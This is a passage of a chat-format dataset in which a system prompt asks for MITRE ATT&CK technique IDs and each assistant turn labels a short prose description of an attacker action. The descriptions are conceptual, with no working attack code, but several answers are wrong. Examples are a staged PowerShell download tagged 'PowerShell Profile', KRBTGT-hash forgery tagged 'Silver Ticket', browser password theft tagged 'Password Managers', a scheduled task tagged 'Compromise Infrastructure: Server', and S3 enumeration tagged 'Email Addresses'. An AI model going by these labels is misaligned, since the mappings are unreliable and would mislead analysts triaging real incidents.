                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script alters the SSH daemon's configuration to accept only 1024‑bit Diffie‑Hellman groups, making key exchange easier to break."
            },
            {
                "role": "assistant",
                "content": "T1600 - Weaken Encryption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware uses a staged PowerShell script that downloads additional modules from a compromised legitimate website."
            },
            {
                "role": "assistant",
                "content": "T1546.013 - Event Triggered Execution: PowerShell Profile"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through an infected host, the attacker pushes a credential harvesting script to a neighboring machine using the administrative SMB share."
            },
            {
                "role": "assistant",
                "content": "T1570 - Lateral Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post‑exploitation, the actor installed a malicious signing certificate to bypass security controls and establish persistence."
            },
            {
                "role": "assistant",
                "content": "T1608.003 - Stage Capabilities: Install Digital Certificate"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cookie theft is performed through packet sniffing, after which the stolen web session cookie is used to hijack the session."
            },
            {
                "role": "assistant",
                "content": "T1550.004 - Use Alternate Authentication Material: Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker crafts malicious traffic that mirrors standard Telnet sessions to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exploit a vulnerable CMS to replace the homepage with a defaced page."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using DCOM, the adversary establishes a remote COM session with a target host, then invokes methods on a legitimate COM object to perform lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1559.001 - Inter-Process Communication: Component Object Model"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a hidden directory named .secret in the user's profile and stores malicious scripts there to avoid detection."
            },
            {
                "role": "assistant",
                "content": "T1564.001 - Hide Artifacts: Hidden Files and Directories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker builds an encrypted link by encrypting traffic with a public key, preventing interception."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious hyperlink in a calendar invite leads recipients to a fake portal that captures their login credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set employed a command that invokes \"Search-Mailbox -DeleteContent\" in Exchange to wipe specific email folders."
            },
            {
                "role": "assistant",
                "content": "T1070.008 - Indicator Removal: Clear Mailbox Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor crafts a Windows shortcut (.lnk) file that uses a legitimate-looking icon to conceal malicious commands and distributes it via phishing email."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary leverages a hidden port knock sequence of TCP packets on ports 135, 139, and 445 to bypass firewall rules."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses the Windows 'powershell.exe' '-ExecutionPolicy Bypass' flag to run unsigned scripts."
            },
            {
                "role": "assistant",
                "content": "T1059.001 - Command and Scripting Interpreter: PowerShell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests the KRBTGT password hash from the domain controller and uses it to forge a Kerberos service ticket (Silver Ticket) granting access to a file server without contacting the DC."
            },
            {
                "role": "assistant",
                "content": "T1558.002 - Steal or Forge Kerberos Tickets: Silver Ticket"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro extracts embedded objects from Office documents and saves them to a staging area."
            },
            {
                "role": "assistant",
                "content": "T1567.001 - Exfiltration Over Web Service: Exfiltration to Code Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit leverages the 'net localgroup' command to assign the newly created local user to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136.001 - Create Account: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors compromised the firmware update mechanism to install a backdoored firmware version on target computers."
            },
            {
                "role": "assistant",
                "content": "T1542.001 - Pre-OS Boot: System Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign includes a link that, when clicked, triggers an MFA request to the target’s registered device."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised shared module is placed in a directory that is part of the system's library search path, leading to execution when any program loads it."
            },
            {
                "role": "assistant",
                "content": "T1129 - Shared Modules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During installation, the payload modifies the HKCU\\Software\\Microsoft\\Office\\Outlook\\HomePage registry value to a malicious domain, enabling drive‑by attacks on Outlook launch."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attackers accessed the CMS backend and replaced the corporate intranet news feed with a defacement article."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor used a chain of compromised proxies, each forwarding traffic to the next, to achieve multi-hop proxying and evade network detection."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary compromises Azure AD Connect and alters synchronization rules to inject malicious credentials, enabling hybrid identity abuse."
            },
            {
                "role": "assistant",
                "content": "T1556.007 - Modify Authentication Process: Hybrid Identity"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By editing the Outlook rule XML, the threat actor ensures that a PowerShell command is executed to establish persistence every time Outlook starts."
            },
            {
                "role": "assistant",
                "content": "T1137.005 - Office Application Startup: Outlook Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An insider copied customer data onto a CD-ROM and mailed it to an external server under a false address."
            },
            {
                "role": "assistant",
                "content": "T1052 - Exfiltration Over Physical Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code mimics a legitimate Windows service by using the same service name and description to hide its presence."
            },
            {
                "role": "assistant",
                "content": "T1036.004 - Masquerading: Masquerade Task or Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Pass the Hash technique, the attacker leverages stolen credential hashes to execute commands on remote Windows machines."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script iterates over \\\\*\\\\* network paths to identify accessible shares for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1135 - Network Share Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion set deploys WMI to enumerate installed software and extract version numbers for further exploitation."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries create a malicious Outlook Form that runs a PowerShell script when the form is opened, achieving persistence on the victim machine."
            },
            {
                "role": "assistant",
                "content": "T1137.003 - Office Application Startup: Outlook Forms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a stolen private key to sign fake SAML tokens, allowing lateral movement across cloud services."
            },
            {
                "role": "assistant",
                "content": "T1606.002 - Forge Web Credentials: SAML Tokens"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor enumerates Windows registry keys to discover installed software and system configuration."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware reads environment variables and WMI classes to discover the host's time zone and locale settings."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Ad networks are compromised to serve malicious ads that exploit browser vulnerabilities and install a credential‑stealing backdoor."
            },
            {
                "role": "assistant",
                "content": "T1583.008 - Acquire Infrastructure: Malvertising"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group employs reflective DLL injection to load code directly into memory without touching disk."
            },
            {
                "role": "assistant",
                "content": "T1055.001 - Process Injection: Dynamic-link Library Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker sets up a fake software update page that delivers a payload when the user clicks a download link."
            },
            {
                "role": "assistant",
                "content": "T1189 - Drive-by Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages the target's public S3 buckets to enumerate data storage structures."
            },
            {
                "role": "assistant",
                "content": "T1589.002 - Gather Victim Identity Information: Email Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor executed a Python payload via a scheduled task to download additional ransomware modules."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan installs a background task that periodically connects via POP3 with harvested credentials to collect new incoming mail."
            },
            {
                "role": "assistant",
                "content": "T1114.002 - Email Collection: Remote Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the manufacturing of wireless access points, an adversary embeds a malicious Wi‑Fi driver that creates a covert channel for data exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary enumerates Windows Group Policy Objects by querying the registry key HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Policies."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker abuses container escape techniques after deploying a malicious container to gain host-level access."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leveraged a custom script to list all listening services on each host within the 192.168.1.0/24 network."
            },
            {
                "role": "assistant",
                "content": "T1046 - Network Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT uses a custom C++ module to reverse the obfuscation applied to its embedded payloads, effectively deobfuscating the executable code."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses PowerShell's Get-ComputerInfo cmdlet to collect details about the processor, memory, and installed hotfixes."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cybercriminal uploads a cryptominer binary to a compromised Docker registry to be pulled by infected containers."
            },
            {
                "role": "assistant",
                "content": "T1608.001 - Stage Capabilities: Upload Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor performed a reverse IP lookup to discover other domains hosted on the same server as the victim."
            },
            {
                "role": "assistant",
                "content": "T1590.005 - Gather Victim Network Information: IP Addresses"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware reads the encrypted password vault of a third‑party password manager and decrypts it using the master key extracted from memory."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop a custom certificate to sign ransomware executables, making them appear legitimate."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan includes a function that performs a low-level wipe of the disk to cover its tracks."
            },
            {
                "role": "assistant",
                "content": "T1561.001 - Disk Wipe: Disk Content Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a misconfigured firewall rule, the attacker creates a path that connects the DMZ to the internal network, effectively bridging the network segmentation."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors create a scheduled task on a Windows server that runs a PowerShell payload to maintain persistence."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Supply chain compromise leading to trusted vendor being exploited"
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker used a malicious PowerShell script to invoke ProcDump and capture the LSASS process memory for credential extraction."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor creates an Emond rule that listens for the execution of a specific system binary and then runs a reverse shell script when the binary is launched."
            },
            {
                "role": "assistant",
                "content": "T1546.014 - Event Triggered Execution: Emond"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor embeds a VBScript within a PDF document; when opened, the script is extracted and executed by the system's script host."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor creates a low‑privilege local account to ensure continued access after reboot."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary embeds a \\u202E character in the filename \"invoice2021.pdf‮.exe\" so the OS executes the .exe while the UI shows a PDF icon."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During deployment, the malicious payload is saved as \"setup.bat \" – the trailing space obscures the .bat extension from casual observers."
            },
            {
                "role": "assistant",
                "content": "T1036.006 - Masquerading: Space after Filename"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages Exchange admin privileges to set a forwarding rule that copies all emails to an external domain."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign employs the Control Panel's system binary to proxy execution of a credential‑dumping tool."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging an insecure SSH key, the adversary accesses multiple Linux servers from a compromised host."
            },
            {
                "role": "assistant",
                "content": "T1563.001 - Remote Service Session Hijacking: SSH Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion sets up a launch agent that runs a Python script every hour via the KeepAlive key."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers exploit a vulnerability to alter the code signing policy, bypassing integrity checks for newly installed software."
            },
            {
                "role": "assistant",
                "content": "T1553.006 - Subvert Trust Controls: Code Signing Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "SID-History injection is used to bypass security controls by making a low-privilege user appear as a high-privilege one."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan accesses the stored passwords in the Chromium-based Brave browser to gather authentication data."
            },
            {
                "role": "assistant",
                "content": "T1555.005 - Credentials from Password Stores: Password Managers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using Mimikatz, the threat actor performs Pass the Hash by injecting a stolen hash into a new session to log into a domain controller."
            },
            {
                "role": "assistant",
                "content": "T1550.002 - Use Alternate Authentication Material: Pass the Hash"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages the Windows \"whoami\" command with the \"/groups\" switch to enumerate group memberships of the current account."
            },
            {
                "role": "assistant",
                "content": "T1087 - Account Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise includes a routine that parses the output of \"curl ifconfig.me\" to learn the public IP address of the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan gathers system configuration files and places them in a staging area on the host for later retrieval."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware spawns its payload as a child of Explorer.exe, making it appear as a legitimate process in the process tree."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious installer runs BITSADMIN to fetch additional components from a malicious CDN."
            },
            {
                "role": "assistant",
                "content": "T1197 - BITS Jobs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker decodes an obfuscated PowerShell command hidden within a Windows Management Instrumentation (WMI) query."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses a compromised external hard drive to exfiltrate sensitive files by copying them onto the drive and later retrieving it from an off‑site location."
            },
            {
                "role": "assistant",
